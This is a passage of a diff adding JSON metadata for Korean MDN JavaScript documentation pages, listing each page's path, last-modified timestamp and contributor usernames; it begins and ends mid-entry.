"cs09g", + "Jsfumato", + "hwani163", + "junoim", + "ByeongGi", + "stephenjang" + ] + }, + "Web/JavaScript/Guide/정규식": { + "modified": "2020-04-29T02:51:44.998Z", + "contributors": [ + "yami03", + "yeonjuan", + "Jung-Max", + "deltakor1234", + "idid0210", + "seungha-kim", + "limkukhyun", + "khg0712", + "nazuna1", + "kooljay82", + "fdevjm", + "coffeenjava", + "gaeun917", + "namhong2001", + "woochankim", + "JunBeom-Park", + "SooYeonKim" + ] + }, + "Web/JavaScript/Guide/정규식/Assertions": { + "modified": "2020-09-14T21:47:15.957Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Guide/정규식/Groups_and_Ranges": { + "modified": "2020-03-12T19:49:33.624Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Guide/함수": { + "modified": "2020-03-12T19:41:24.935Z", + "contributors": [ + "limkukhyun", + "01045972746", + "jeoyoho", + "bigsaigon333", + "creatijin", + "jungpaeng", + "gudrl", + "wafersroom", + "gaeun917", + "SSaMKJ", + "JunLee", + "woochankim", + "JunBeom-Park", + "SooYeonKim" + ] + }, + "Web/JavaScript/Introduction_to_Object-Oriented_JavaScript": { + "modified": "2019-03-23T23:29:46.029Z", + "contributors": [ + "Parcovia", + "JayK95", + "rinuel", + "teoli", + "JaehaAhn" + ] + }, + "Web/JavaScript/JavaScript_technologies_overview": { + "modified": "2020-03-12T19:37:59.087Z", + "contributors": [ + "alattalatta", + "teoli", + "ethertank", + "jaemin_jo" + ] + }, + "Web/JavaScript/Memory_Management": { + "modified": "2020-03-12T19:37:54.884Z", + "contributors": [ + "presentY1897", + "johngrib", + "KSH-code", + "teoli", + "jaemin_jo" + ] + }, + "Web/JavaScript/Reference": { + "modified": "2020-03-12T19:36:53.431Z", + "contributors": [ + "limkukhyun", + "naduhy2", + "Netaras", + "epicsaga", + "teoli", + "Constantine Kim", + "MoGi", + "Dyhan81", + "Goldmund" + ] + }, + "Web/JavaScript/Reference/About": { + "modified": "2020-03-12T19:37:02.761Z", + "contributors": [ + "limkukhyun", + "teoli", + "Dyhan81", + "Netaras", + "taggon", + "Goldmund" + ] + }, + "Web/JavaScript/Reference/Classes": { + "modified": "2020-12-02T08:06:01.229Z", + "contributors": [ + "woochul2", + "hjleesm", + "dsma73", + "HyunSangHan", + "seulgiyoon", + "kylajung", + "genzuby", + "fscholz", + "jyhwng", + "roupkk", + "hibiya", + "faker007", + "hwshim", + "preco21", + "maytree" + ] + }, + "Web/JavaScript/Reference/Classes/Class_fields": { + "modified": "2020-10-15T22:29:50.457Z", + "contributors": [ + "dooyou21" + ] + }, + "Web/JavaScript/Reference/Classes/Private_class_fields": { + "modified": "2020-11-08T09:14:41.975Z", + "contributors": [ + "seong7" + ] + }, + "Web/JavaScript/Reference/Classes/constructor": { + "modified": "2020-10-15T21:42:34.132Z", + "contributors": [ + "alattalatta", + "hyoni0817", + "limkukhyun", + "jeonnoej" + ] + }, + "Web/JavaScript/Reference/Classes/extends": { + "modified": "2020-10-15T21:43:47.995Z", + "contributors": [ + "limkukhyun", + "Netaras", + "jeonnoej" + ] + }, + "Web/JavaScript/Reference/Classes/static": { + "modified": "2020-10-15T21:43:46.615Z", + "contributors": [ + "kimkyeseung", + "limkukhyun", + "jeonnoej", + "taihwayoun" + ] + }, + "Web/JavaScript/Reference/Deprecated_and_obsolete_features": { + "modified": "2020-03-12T19:44:53.109Z", + "contributors": [ + "alattalatta", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Errors": { + "modified": "2020-03-12T19:43:42.482Z", + "contributors": [ + "Netaras", + "fscholz" + ] + }, + "Web/JavaScript/Reference/Errors/Bad_octal": { + "modified": "2020-03-12T19:44:24.834Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Bad_radix": { + "modified": "2020-03-12T19:44:34.573Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Bad_regexp_flag": { + "modified": "2020-03-12T19:48:27.405Z", + "contributors": [ + "vividhee" + ] + }, + "Web/JavaScript/Reference/Errors/Bad_return_or_yield": { + "modified": "2020-03-12T19:46:13.633Z", + "contributors": [ + "2oosoo", + "highdali" + ] + }, + "Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init": { + "modified": "2020-03-12T19:47:46.720Z", + "contributors": [ + "SSJ-unclear" + ] + }, + "Web/JavaScript/Reference/Errors/Delete_in_strict_mode": { + "modified": "2020-03-12T19:48:24.242Z", + "contributors": [ + "vividhee" + ] + }, + "Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage": { + "modified": "2020-03-12T19:44:32.792Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Deprecated_octal": { + "modified": "2020-03-12T19:48:30.330Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Identifier_after_number": { + "modified": "2020-03-12T19:48:24.600Z", + "contributors": [ + "vividhee" + ] + }, + "Web/JavaScript/Reference/Errors/Illegal_character": { + "modified": "2020-03-12T19:48:28.614Z", + "contributors": [ + "vividhee" + ] + }, + "Web/JavaScript/Reference/Errors/Invalid_array_length": { + "modified": "2020-03-12T19:43:37.920Z", + "contributors": [ + "epicsaga" + ] + }, + "Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side": { + "modified": "2020-03-12T19:44:36.449Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Invalid_date": { + "modified": "2020-03-12T19:47:45.133Z", + "contributors": [ + "Olivia_J" + ] + }, + "Web/JavaScript/Reference/Errors/Invalid_for-in_initializer": { + "modified": "2020-03-12T19:48:28.444Z", + "contributors": [ + "vividhee" + ] + }, + "Web/JavaScript/Reference/Errors/Invalid_for-of_initializer": { + "modified": "2020-03-12T19:48:24.879Z", + "contributors": [ + "vividhee" + ] + }, + "Web/JavaScript/Reference/Errors/JSON_bad_parse": { + "modified": "2020-03-12T19:46:13.524Z", + "contributors": [ + "highdali" + ] + }, + "Web/JavaScript/Reference/Errors/Malformed_formal_parameter": { + "modified": "2020-03-12T19:48:03.882Z", + "contributors": [ + "SSJ-unclear" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_bracket_after_list": { + "modified": "2020-03-12T19:48:26.441Z", + "contributors": [ + "vividhee" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_colon_after_property_id": { + "modified": "2020-03-12T19:48:28.709Z", + "contributors": [ + "vividhee" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_curly_after_property_list": { + "modified": "2020-03-12T19:47:44.512Z", + "contributors": [ + "Olivia_J" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_initializer_in_const": { + "modified": "2020-03-12T19:48:10.711Z", + "contributors": [ + "rlaace423" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator": { + "modified": "2020-03-12T19:48:36.679Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list": { + "modified": "2020-03-12T19:47:15.700Z", + "contributors": [ + "nicekkong" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition": { + "modified": "2020-03-12T19:47:45.484Z", + "contributors": [ + "Olivia_J" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement": { + "modified": "2020-03-12T19:46:46.133Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/More_arguments_needed": { + "modified": "2020-03-12T19:48:33.843Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Negative_repetition_count": { + "modified": "2020-03-12T19:44:34.819Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/No_variable_name": { + "modified": "2020-03-12T19:48:33.115Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Not_a_codepoint": { + "modified": "2020-03-12T19:44:27.869Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Not_a_constructor": { + "modified": "2020-03-12T19:46:59.075Z", + "contributors": [ + "Latera" + ] + }, + "Web/JavaScript/Reference/Errors/Not_defined": { + "modified": "2020-03-12T19:44:37.119Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Precision_range": { + "modified": "2020-03-12T19:44:32.328Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Property_access_denied": { + "modified": "2020-03-12T19:44:32.773Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Read-only": { + "modified": "2020-03-12T19:47:45.720Z", + "contributors": [ + "Olivia_J" + ] + }, + "Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value": { + "modified": "2020-03-12T19:49:30.091Z", + "contributors": [ + "WonWoongJang" + ] + }, + "Web/JavaScript/Reference/Errors/Reserved_identifier": { + "modified": "2020-03-12T19:48:28.133Z", + "contributors": [ + "vividhee" + ] + }, + "Web/JavaScript/Reference/Errors/Resulting_string_too_large": { + "modified": "2020-03-12T19:44:36.352Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params": { + "modified": "2020-03-12T19:47:43.886Z", + "contributors": [ + "SSJ-unclear" + ] + }, + "Web/JavaScript/Reference/Errors/Too_much_recursion": { + "modified": "2020-03-12T19:44:33.119Z", + "contributors": [ + "Kaben", + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Undeclared_var": { + "modified": "2020-03-12T19:44:33.741Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Undefined_prop": { + "modified": "2020-03-12T19:44:33.728Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Errors/Unexpected_token": { + "modified": "2020-03-12T19:44:11.696Z", + "contributors": [ + "ChangSungsil" + ] + }, + "Web/JavaScript/Reference/Errors/Unexpected_type": { + "modified": "2020-03-12T19:45:33.484Z", + "contributors": [ + "yura-Choi" + ] + }, + "Web/JavaScript/Reference/Errors/Unnamed_function_statement": { + "modified": "2020-03-12T19:48:26.448Z", + "contributors": [ + "vividhee" + ] + }, + "Web/JavaScript/Reference/Errors/is_not_iterable": { + "modified": "2020-03-12T19:48:24.798Z", + "contributors": [ + "cs09g" + ] + }, + "Web/JavaScript/Reference/Functions": { + "modified": "2020-10-15T21:37:58.963Z", + "contributors": [ + "harryjjun", + "Dailyscat", + "limkukhyun", + "alattalatta", + "Netaras", + "sftblw" + ] + }, + "Web/JavaScript/Reference/Functions/Default_parameters": { + "modified": "2020-10-15T21:45:58.179Z", + "contributors": [ + "honggaruy", + "gbyman", + "kbsbroad", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Functions/Method_definitions": { + "modified": "2020-03-12T19:44:05.728Z", + "contributors": [ + "kdex", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Functions/arguments": { + "modified": "2020-10-15T21:38:47.452Z", + "contributors": [ + "alattalatta", + "Netaras", + "tmxkwkfgka" + ] + }, + "Web/JavaScript/Reference/Functions/arguments/@@iterator": { + "modified": "2020-10-15T22:12:01.387Z", + "contributors": [ + "alattalatta", + "vividhee" + ] + }, + "Web/JavaScript/Reference/Functions/arguments/callee": { + "modified": "2020-03-12T19:44:03.622Z", + "contributors": [ + "Netaras" + ] + }, + "Web/JavaScript/Reference/Functions/arguments/length": { + "modified": "2020-10-15T21:48:18.638Z", + "contributors": [ + "alattalatta", + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Functions/get": { + "modified": "2020-10-15T21:48:28.043Z", + "contributors": [ + "SSJ-unclear", + "DGURI", + "NessunKim" + ] + }, + "Web/JavaScript/Reference/Functions/rest_parameters": { + "modified": "2020-10-15T21:46:03.879Z", + "contributors": [ + "Geun-Hyung_Kim", + "cs09g", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Functions/set": { + "modified": "2020-03-12T19:44:54.074Z", + "contributors": [ + "daehyoung" + ] + }, + "Web/JavaScript/Reference/Functions/애로우_펑션": { + "modified": "2020-10-15T21:39:57.499Z", + "contributors": [ + "honggaruy", + "Vimming", + "songdoing", + "gbyman", + "yonggoo.noh", + "jjangga0214", + "geunhyung", + "limkukhyun", + "kangsan_Chang", + "nyaawlsh", + "daehyoung", + "Geun-Hyung_Kim", + "Netaras", + "preco21", + "chiyodad", + "Jeeeyul" + ] + }, + "Web/JavaScript/Reference/Global_Objects": { + "modified": "2020-08-05T00:51:40.442Z", + "contributors": [ + "alattalatta", + "loslch", + "skyfly33", + "Netaras", + "cs09g", + "Rachel0211", + "teoli" + ] + }, + "Web/JavaScript/Reference/Global_Objects/AggregateError": { + "modified": "2020-11-15T04:22:22.892Z", + "contributors": [ + "Donghoon" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array": { + "modified": "2020-10-15T21:18:12.731Z", + "contributors": [ + "kwangdosa", + "alattalatta", + "wbamberg", + "limkukhyun", + "sominlee", + "HanuLatte", + "joeunha", + "maytree", + "VBChunguk", + "JaegangLee", + "teoli", + "taggon", + "Aeuiop" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/@@iterator": { + "modified": "2020-10-15T21:43:02.789Z", + "contributors": [ + "alattalatta", + "KisukPark", + "hwangtan", + "." + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/@@species": { + "modified": "2020-10-15T21:50:41.909Z", + "contributors": [ + "alattalatta", + "KisukPark", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/@@unscopables": { + "modified": "2020-10-15T21:50:41.776Z", + "contributors": [ + "alattalatta", + "zziuni", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/Array": { + "modified": "2020-10-15T22:26:58.481Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/Reduce": { + "modified": "2020-10-15T21:41:30.424Z", + "contributors": [ + "alattalatta", + "dolmoon", + "KisukPark", + "ieay4a", + "Violetdusk", + "Netaras", + "preco21" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/ReduceRight": { + "modified": "2020-10-15T21:50:39.970Z", + "contributors": [ + "alattalatta", + "KisukPark", + "zziuni", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/concat": { + "modified": "2020-10-15T21:38:49.144Z", + "contributors": [ + "RamiTae", + "bohyun611kim", + "alattalatta", + "KisukPark", + "VBChunguk", + "tmxkwkfgka" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/copyWithin": { + "modified": "2020-10-15T21:50:40.123Z", + "contributors": [ + "alattalatta", + "KisukPark", + "withdude2", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/entries": { + "modified": "2020-10-15T21:41:29.970Z", + "contributors": [ + "honggaruy", + "alattalatta", + "KisukPark", + "SphinxKnight", + "keypointer", + "kdex", + "preco21" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/every": { + "modified": "2020-10-15T21:41:30.327Z", + "contributors": [ + "alattalatta", + "KisukPark", + "limkukhyun", + "Netaras", + "Kaben", + "preco21" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/fill": { + "modified": "2020-10-15T21:36:43.146Z", + "contributors": [ + "alattalatta", + "KisukPark", + "SphinxKnight", + "withdude2", + "ligeek" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/filter": { + "modified": "2020-10-15T21:41:17.863Z", + "contributors": [ + "RamiTae", + "alattalatta", + "bohyun611kim", + "pineoc", + "jewon", + "limkukhyun", + "KisukPark", + "Saem", + "Netaras", + "rageboom", + "Yunhong-Min", + "keypointer" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/find": { + "modified": "2020-10-15T21:48:55.826Z", + "contributors": [ + "alattalatta", + "QooQooDass", + "KisukPark", + "sonjh02", + "meganson", + "yuntaek", + "Jaysok" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/findIndex": { + "modified": "2020-10-15T21:50:40.640Z", + "contributors": [ + "hyoni0817", + "Hyeok_Jo", + "alattalatta", + "KisukPark", + "sonjh02", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/flat": { + "modified": "2020-10-15T22:08:27.831Z", + "contributors": [ + "alattalatta", + "moonformeli", + "cs09g" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/flatMap": { + "modified": "2020-10-15T22:08:28.496Z", + "contributors": [ + "DaegiKim", + "24seconds", + "moonformeli", + "alattalatta", + "cs09g" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/forEach": { + "modified": "2020-10-15T21:47:39.068Z", + "contributors": [ + "alattalatta", + "RootyJin", + "jeongchaeuk", + "Parcovia", + "limkukhyun", + "KisukPark", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/from": { + "modified": "2020-10-15T21:37:56.478Z", + "contributors": [ + "alattalatta", + "Violet-Bora-Lee", + "KisukPark", + "SphinxKnight", + "디토", + "ligeek" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/includes": { + "modified": "2020-10-15T21:50:39.977Z", + "contributors": [ + "IMHOJEONG", + "alattalatta", + "KisukPark", + "KlausLee", + "khsiea", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/indexOf": { + "modified": "2020-10-15T21:50:40.883Z", + "contributors": [ + "biniruu", + "naraeim", + "alattalatta", + "KisukPark", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/isArray": { + "modified": "2020-10-15T21:41:14.689Z", + "contributors": [ + "alattalatta", + "KisukPark", + "KaironMoon", + "keypointer", + "johngrib" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/join": { + "modified": "2020-10-15T21:41:15.362Z", + "contributors": [ + "shj9432", + "alattalatta", + "KisukPark", + "VBChunguk" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/keys": { + "modified": "2020-10-15T21:41:30.210Z", + "contributors": [ + "alattalatta", + "KisukPark", + "SphinxKnight", + "preco21" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf": { + "modified": "2020-10-15T21:50:40.016Z", + "contributors": [ + "alattalatta", + "KisukPark", + "zziuni", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/length": { + "modified": "2020-10-15T21:41:28.876Z", + "contributors": [ + "alattalatta", + "preco21" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/map": { + "modified": "2020-10-15T21:36:42.699Z", + "contributors": [ + "seulgiyoon", + "alattalatta", + "KisukPark", + "sshplendid", + "selfiens", + "the1900", + "reoim", + "Yunhong-Min", + "sominlee", + "Rokt33r", + "epicsaga" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/of": { + "modified": "2020-10-15T21:36:39.776Z", + "contributors": [ + "alattalatta", + "KisukPark", + "limkukhyun", + "ligeek" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/pop": { + "modified": "2020-10-15T21:47:37.008Z", + "contributors": [ + "alattalatta", + "KisukPark", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/push": { + "modified": "2020-10-15T21:39:22.145Z", + "contributors": [ + "alattalatta", + "KisukPark", + "dsma73", + "Hoto-Cocoa", + "nohsenc", + "dewey94esb" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/reverse": { + "modified": "2020-10-15T21:41:28.622Z", + "contributors": [ + "alattalatta", + "KisukPark", + "preco21" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/shift": { + "modified": "2020-10-15T21:38:19.399Z", + "contributors": [ + "alattalatta", + "KisukPark", + "DeusNonEst", + "FlowerCoing" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/slice": { + "modified": "2020-10-15T21:48:35.659Z", + "contributors": [ + "alattalatta", + "Georgee-lee", + "KisukPark", + "cs09g", + "AlexMin", + "imskojs", + "dale0713" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/some": { + "modified": "2020-10-15T21:47:53.706Z", + "contributors": [ + "kimkyeseung", + "alattalatta", + "KisukPark", + "kyunooh", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/sort": { + "modified": "2020-10-15T21:50:40.023Z", + "contributors": [ + "IvannKim", + "yami03", + "alattalatta", + "KisukPark", + "dsma73", + "seokju-na", + "apple77y", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/splice": { + "modified": "2020-10-15T21:37:48.347Z", + "contributors": [ + "alattalatta", + "selfiens", + "KisukPark", + "wonhoKim", + "laranhee", + "Jei", + "Rokt33r" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/toLocaleString": { + "modified": "2020-10-15T21:47:37.995Z", + "contributors": [ + "alattalatta", + "KisukPark", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/toSource": { + "modified": "2020-10-15T22:00:47.617Z", + "contributors": [ + "alattalatta", + "teoli", + "KisukPark", + "sonjh02" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/toString": { + "modified": "2020-10-15T21:47:38.270Z", + "contributors": [ + "alattalatta", + "KisukPark", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/unshift": { + "modified": "2020-10-15T21:41:30.420Z", + "contributors": [ + "alattalatta", + "ChanwheKim", + "KisukPark", + "jisooyu", + "maytree" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/values": { + "modified": "2020-10-15T21:41:31.189Z", + "contributors": [ + "alattalatta", + "KisukPark", + "SphinxKnight", + "preco21" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer": { + "modified": "2020-10-15T21:31:34.913Z", + "contributors": [ + "alattalatta", + "chaewonkong", + "niceilm", + "teoli", + "JiminP", + "yuby" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/ArrayBuffer": { + "modified": "2020-10-15T22:27:33.561Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/byteLength": { + "modified": "2020-10-15T22:27:34.550Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView": { + "modified": "2020-10-15T22:27:32.623Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice": { + "modified": "2020-10-15T22:27:35.359Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/AsyncFunction": { + "modified": "2020-10-15T21:52:51.606Z", + "contributors": [ + "ibizcox", + "jooddang", + "limkukhyun", + "ChanghwaLee" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics": { + "modified": "2019-03-23T22:18:58.236Z", + "contributors": [ + "RyuJin" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt": { + "modified": "2020-10-15T22:12:37.942Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt/BigInt": { + "modified": "2020-10-15T22:25:40.633Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt/prototype": { + "modified": "2020-10-15T22:12:31.982Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Boolean": { + "modified": "2020-10-15T21:14:40.981Z", + "contributors": [ + "alattalatta", + "wbamberg", + "teoli", + "Gilchris" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Boolean/Boolean": { + "modified": "2020-10-15T22:27:46.206Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Boolean/prototype": { + "modified": "2020-10-15T21:43:28.882Z", + "contributors": [ + "alattalatta", + "noritersand" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Boolean/toString": { + "modified": "2020-10-15T22:11:53.952Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Boolean/valueOf": { + "modified": "2020-10-15T22:11:54.035Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView": { + "modified": "2020-10-15T21:42:40.867Z", + "contributors": [ + "alattalatta", + "KKang", + "ksyeng" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/DataView": { + "modified": "2020-10-15T22:27:25.683Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date": { + "modified": "2020-10-15T21:18:35.817Z", + "contributors": [ + "alattalatta", + "wbamberg", + "dsma73", + "Shin-JaeHeon", + "seungha-kim", + "seokju-na", + "teoli", + "taggon" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/UTC": { + "modified": "2020-10-15T21:50:44.435Z", + "contributors": [ + "alattalatta", + "inpyoj", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getDate": { + "modified": "2020-10-15T21:50:41.680Z", + "contributors": [ + "alattalatta", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getDay": { + "modified": "2020-10-15T21:50:41.587Z", + "contributors": [ + "alattalatta", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getFullYear": { + "modified": "2020-10-15T21:50:41.498Z", + "contributors": [ + "alattalatta", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getHours": { + "modified": "2020-10-15T21:50:41.097Z", + "contributors": [ + "alattalatta", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds": { + "modified": "2020-10-15T21:50:43.734Z", + "contributors": [ + "alattalatta", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getMinutes": { + "modified": "2020-10-15T21:50:41.182Z", + "contributors": [ + "alattalatta", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getMonth": { + "modified": "2020-10-15T21:50:42.376Z", + "contributors": [ + "alattalatta", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getSeconds": { + "modified": "2020-10-15T21:50:44.137Z", + "contributors": [ + "alattalatta", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getTime": { + "modified": "2019-03-23T22:23:15.546Z", + "contributors": [ + "hyeonseok", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset": { + "modified": "2019-03-23T22:23:13.145Z", + "contributors": [ + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCDate": { + "modified": "2019-03-23T22:23:20.825Z", + "contributors": [ + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCDay": { + "modified": "2019-03-23T22:23:16.136Z", + "contributors": [ + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear": { + "modified": "2019-03-23T22:23:15.265Z", + "contributors": [ + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCHours": { + "modified": "2019-03-23T22:23:09.557Z", + "contributors": [ + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds": { + "modified": "2019-03-23T22:23:07.710Z", + "contributors": [ + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes": { + "modified": "2019-03-23T22:23:18.026Z", + "contributors": [ + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth": { + "modified": "2019-03-23T22:23:10.004Z", + "contributors": [ + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds": { + "modified": "2019-03-23T22:23:16.588Z", + "contributors": [ + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/now": { + "modified": "2019-03-23T22:29:50.058Z", + "contributors": [ + "g6ling", + "dale0713" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/parse": { + "modified": "2019-03-23T22:23:12.000Z", + "contributors": [ + "sung-ugje", + "galcyurio", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/prototype": { + "modified": "2020-10-15T21:34:44.080Z", + "contributors": [ + "alattalatta", + "Cho.Eun", + "ByungChangCha", + "teoli" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setDate": { + "modified": "2019-03-23T22:23:20.668Z", + "contributors": [ + "swtpumpkin", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setFullYear": { + "modified": "2019-03-23T22:23:19.509Z", + "contributors": [ + "zziuni", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setHours": { + "modified": "2019-03-23T22:23:20.495Z", + "contributors": [ + "zziuni", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds": { + "modified": "2019-03-23T22:23:19.297Z", + "contributors": [ + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setMinutes": { + "modified": "2019-03-23T22:23:09.852Z", + "contributors": [ + "zziuni", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setMonth": { + "modified": "2019-03-23T22:23:18.765Z", + "contributors": [ + "zziuni", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setSeconds": { + "modified": "2019-03-23T22:23:08.456Z", + "contributors": [ + "zziuni", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setTime": { + "modified": "2019-03-23T22:23:22.849Z", + "contributors": [ + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCDate": { + "modified": 